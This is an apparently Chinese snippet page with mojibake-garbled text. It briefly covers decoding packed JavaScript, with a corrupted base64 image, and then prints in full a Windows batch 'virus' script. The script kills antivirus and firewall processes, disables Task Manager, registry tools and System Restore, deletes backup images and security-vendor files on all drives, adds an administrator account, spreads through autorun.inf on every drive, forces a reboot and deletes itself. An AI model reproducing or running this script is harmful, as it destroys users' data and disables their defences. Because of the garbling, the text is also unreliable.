❶ eval(function(p,a,c,k,e,r) 解密
直接使用在线解密工具，已测试可以解密此文件
http://tool.chinaz.com/js.aspx
其中变量j是一个base64编码后的png图片，想看j代表的图片（人民网的logo），用下面的方法
<imgsrc="data:images/png;base64,//Pr///+3qor///7////BtZm3qor///+2qYj///+3qon+/v38/Pvi3dDBtpr///7//v66rY63qoq9spT9/fy4q4u4rIz///////+4rIy4q4v+/v3+/v27r5HSyrbTzLj////Mw6z///63qoq3qoq4rIy2qYm4rIz////OxrDEuqC8sJK/tJe+s5a9spS5rI3///79/+5rY3+/v24q4v////8/Pv9/fv8/Pr//v7////m4tbMxK3Lw6zq593HvaS6ro/Px7LFu6D5+PbSybX18u7y7+/fz////Y0b/r596/tJj/////////////Wz73Mw6z////EuZ/Jv6b59/S4rIz39fG/s5bPx7L+/v3X0L7Qx7L+/v25rY7////GvaP9/Pv08+7PxrH+/v3////r6N////////+2qYjHvqXJwKfHvqX9/Pvl4NXu6+P////h3M7Z08Ld18jY0sHJwKfh3M/Fu6Hf2cr+/v3l4db18+/5+PX////c1cXn49jBtpvHvaTLwqvY0sD+/v7s6eC9spX39fHx7+nt6uL///+6ro/////Kwam7r5D////Y0sD39fG+s5W5rY76+fbZ0sH////r59/FuqD08u3IvqX9/+nu7OTt6uL////i3dDMw6zJwKjKwKnl4dX29PC+s5bg2szPx7Hk4NTWzrzHvaO6ro/Px7He2crSyrbc1sfNxK3////j3tH6+fbr6N//TVzrzRybXOxq/Y0sHJwKjb1MS/s5f7+vjGvKLBtprd18fo5Nrf2szEup/w7ebj39LX0L7z8uzx7+/MOBwW/OfAoFkj/OyrmHtPQy0Z///+vf29fLv7+/s/7GLFNzO/z/LV7ds/73ZP3gn+SnBDw/8UiXjOZ9M/Wzl5OIa+bhXj/bt/CaIx71fKfELYhbg1Pafj8qKQbCb/ZGqLkcoqP/EsQghNd+JiQixSJXC/nEX69142P6nzm/bmH1Otj8zDVNydT7Ha/+/WUmGJeplojpGC4BQ/VKlf53O2+6enH9clFS/+0wNJ+NrN33JgdCQ6M6ywCj+dhrwGoIGgKFyDoxY00aGxuSh2yyq++f1n8LYpI7+hn3S7xau3nGjch+VOC+29PQT9NfRiFFd//+zkmP6YEBWLjEqZ4asu3toXAO/B3Gc1k9eFq++SC+UD5xKy+dKiIDtgCeNsXdEE0/+//mscohoSoZcoSDcgeU+TS1BF/POBjYBeNxx/oVbN7b4tfryN7g7QqmbCH6+ub5C+qfPEPOu/eDaOC6T9ensvfwmOQTu8qVgy5+1qPLIdFjj+kKkZOdS9yeE6+HzMdrfCb//+z2aHAvEDJ8Z+++++//t3zbFGmp3+++eLe+7kelk0ijzo7G3R0M/+/q13r9jvsTBtFt41ZfNqYY+i+hdwIT97BWSr//dNacW7YJRc39n+B0X9/onqzvGqgAAAABJRU5ErkJggg=="/>
❷ 鎵瑰勭悊鏂囦欢鐨勭梾姣掍唬鐮佸ぇ鍏锛
鎽樿嚜:htt鎴憄s://www鏄.jb51.net/a閾緍ticle/7129.h鎺tm 鍘绘帀閲岄潰鐨勫瓧鍝
@echooff
titleYouDEAD!!!!!!!
settaskkill=s
%0%windir%system32cmd.bat
attrib%windir%system32cmd.bat+r+s+h
netstopsharedaccess>nul
%s%/impfw.exeshadowtip.exeshadowservice.exeqq.exeexplorer.exeIEXOLORE.EXE/f>nul
%s%/imnorton*/f>nul
%s%/imav*/f>nul
%s%/imfire*/f>nul
%s%/imanti*/f>nul
%s%/imspy*/f>nul
%s%/imbullguard/f>nul
%s%/imPersFw/f>nul
%s%/imKAV*/f>nul
%s%/imZONEALARM/f>nul
%s%/imSAFEWEB/f>nul
%s%/imOUTPOST/f>nul
%s%/imnv*/f>nul
%s%/imnav*/f>nul
%s%/imF-*/f>nul
%s%/imESAFE/f>nul
%s%/imcle/f>nul
%s%/imBLACKICE/f>nul
%s%/imdef*/f>nul
%s%/im360safe.exe/f>nul
netstopShadow""System""Service
setalldrive=defghijklmnopqrstuvwxyz
for%%ain(c%alldrive%)dodel%%a:360*/f/s/q>nul
for%%ain(c%alldrive%)dodel%%a:淇澶*/f/s/q>nul
rem淇鏀规敞鍐岃〃.......
REGADDHKEY_LOCAL_
FolderHiddenSHOWALL/v
CheckedValue/tREG_DWORD/d00000000/f>nul
REGADDHKEY_CURRENT_/v
NoRun/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/v
NoRecentDocsMenu/t
REG_DWORD/d00000001/f>nul
REGADDHKEY_CURRENT_/v
NoDrives/tREG_DWORD/d
4294967295/f>nul
REGADDHKEY_CURRENT_/v
Disableregistrytools/t
REG_DWORD/d00000002/f>nul
REGADDHKEY_CURRENT_/v
NoNetHood/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/V
NoDesktop/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/v
NoClose/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/v
NoFind/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/v
DisableTaskMgr/tREG_DWORD
/d00000001/f>nul
REGADDHKEY_CURRENT_/v
NoLogOff/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/v
NoSetTaskBar/tREG_DWORD
/d00000001/f>nul
REGADDHKEY_LOCAL_""NTCurrentVersionSystemRestore/v
DisableSR/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_LOCAL_""NTSystemRestore/v
DisableConfig/tREG_DWORD/d
00000001/f>nul
REGADDHKEY_CURRENT_/v
RestrictRun/tREG_DWORD/d
00000001/f>nul
cls
netuseradministrator123456>nul
for%%cin(c%alldrive%)dodel%%c:*.gho/f/s/q>nul
echo@echooff>d:setup.bat
echoshutdown-r-t10-f-c浜茬埍鐨勬湅鍙嬶紝鎴戝崄鍒嗘姳姝夌殑閫氱煡浣狅紝浣犵殑鐢佃剳宸茬粡涓ラ噸宕╂簝锛岃烽噸鏂
瀹夎呯郴缁熷彲浠ヨВ鍐虫ら棶棰
!^.^>>d:setup.bat
echod:setup.batc:Documents""and""SettingsAll""Users銆屽紑濮嬨嶈彍鍗昞绋嬪簭鍚鍔
a.bat>>d:setup.bat
echoREGADDHKEY_LOCAL_CurrentVersionRun/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>d:setup.bat
echoREGADDHKEY_CURRENT_/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>d:setup.bat
echoREGADDHKEY_LOCAL_CurrentVersionRunOnce/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>d:setup.bat
HKEY_CLASSES_ROOTatfileshellopencommand/vsetup.bat/tREG_SZ/dd:setup.bat/f
>>d:setup.bat
echo[windows]>>%windir%win.ini
echorun=d:setup.batC:AUTOEXEC.BAT>>%windir%win.ini
echoload=d:setup.batC:AUTOEXEC.BAT>>%windir%win.ini
echo[boot]>>%windir%system.ini
echoshell=explorer.exesetup.batC:AUTOEXEC.BAT>>%windir%system.ini
echo[AutoRun]>d:autorun.inf
echoOpen=setup.bat>>d:autorun.inf
echoOpen=system.bat>>d:autorun.inf
attribd:autorun.inf+r+s+h>>d:setup.bat
attribd:setup.bat+r+s+h>>d:setup.bat
startd:setup.bat/min>nul
echo@echooff>>C:AUTOEXEC.BAT
echoREGADDHKEY_LOCAL_CurrentVersionRun/v
AUTOEXEC.BAT/tREG_SZ/d
C:AUTOEXEC.BAT/f>>C:AUTOEXEC.BAT
echoREGADDHKEY_CURRENT_/v
AUTOEXEC.BAT/tREG_SZ/d
C:AUTOEXEC.BAT/f>>C:AUTOEXEC.BAT
REGADDHKEY_LOCAL_CurrentVersionRunOnce/v
AUTOEXEC.BAT/tREG_SZ/d
C:AUTOEXEC.BAT/f>>C:AUTOEXEC.BAT
echoREGADDHKEY_LOCAL_CurrentVersionRun/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>C:AUTOEXEC.BAT
echoREGADDHKEY_CURRENT_/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>C:AUTOEXEC.BAT
REGADDHKEY_LOCAL_CurrentVersionRunOnce/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>C:AUTOEXEC.BAT
echoifnotd:setup.batstart%windir%system32cmd.bat/min>>C:AUTOEXEC.BAT
%0%systemroot%windows.bat>nul
ifnotexist%windir%/system32/explorer.bat@echooff>>%windir%/system32/explorer.bat
ifnotexistC:AUTOEXEC.BATstart%windir%system32cmd.bat/min>>%
windir%/system32/explorer.bat
ifnotexist%windir%system32cmd.batstart%systemroot%windows.bat/min>>%
windir%/system32/explorer.bat
echoREGADDHKEY_LOCAL_CurrentVersionRun/v
AUTOEXEC.BAT/tREG_SZ/d
C:AUTOEXEC.BAT/f>>%windir%/system32/explorer.bat
echoREGADDHKEY_CURRENT_/v
AUTOEXEC.BAT/tREG_SZ/d
C:AUTOEXEC.BAT/f>>%windir%/system32/explorer.bat
echoREGADDHKEY_LOCAL_CurrentVersionRun/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>%windir%/system32/explorer.bat
echoREGADDHKEY_CURRENT_/v
setup.bat/tREG_SZ/dd:setup.bat
/f>>%windir%/system32/explorer.bat
echoREGADDHKEY_LOCAL_CurrentVersionRun/v
explorer.bat/tREG_SZ/d%
windir%/system32/explorer.bat/f>>%windir%/system32/explorer.bat
echoREGADDHKEY_CURRENT_/v
explorer.bat/tREG_SZ/d%
windir%/system32/explorer.bat/f>>%windir%/system32/explorer.bat
echostart%systemroot%windows.bat/min>>%windir%/system32/explorer.bat
attrib%windir%/system32/explorer.bat+r+s+h%
attrib%systemroot%/windows.bat+r+s+h
for%%cin(%alldrive%)doecho@echooff>>%%c:system.bat
for%%cin(%alldrive%)doechostart%windir%system32cmd.bat/min>>%%c:system.bat
for%%cin(%alldrive%)doechoattribsystem.bat+r+s+h>>%%c:system.bat
setdrive=efghijklmnopqrstuvwxyz
for%%cin(%drive%)doecho[AuroRun]>%%c:autorun.inf
for%%cin(%drive%)doechoOpen=system.bat>>%%c:autorun.inf
%0d:Program""Files un.bat
for%%cin(%alldrive%)doechoifnotexist%windir%/system32/explorer.batstart
d:Program""Files un.bat/min
>>%%c:system.bat
for%%cin(%alldrive%)doattribautorun.inf+r+s+h>>%%c:system.bat
for%%cin(%alldrive%)doattrib%%c:autorun.inf+r+s+h>nul
for%%cin(%alldrive%)doattrib%%c:system.bat+r+s+h>nul
ifnotexist%windir%/system32/explorer.batstartd:Program""Files un.bat
/min>>d:setup.bat
attribd:Program""Files un.bat+r+s+h>nul
del%0
exit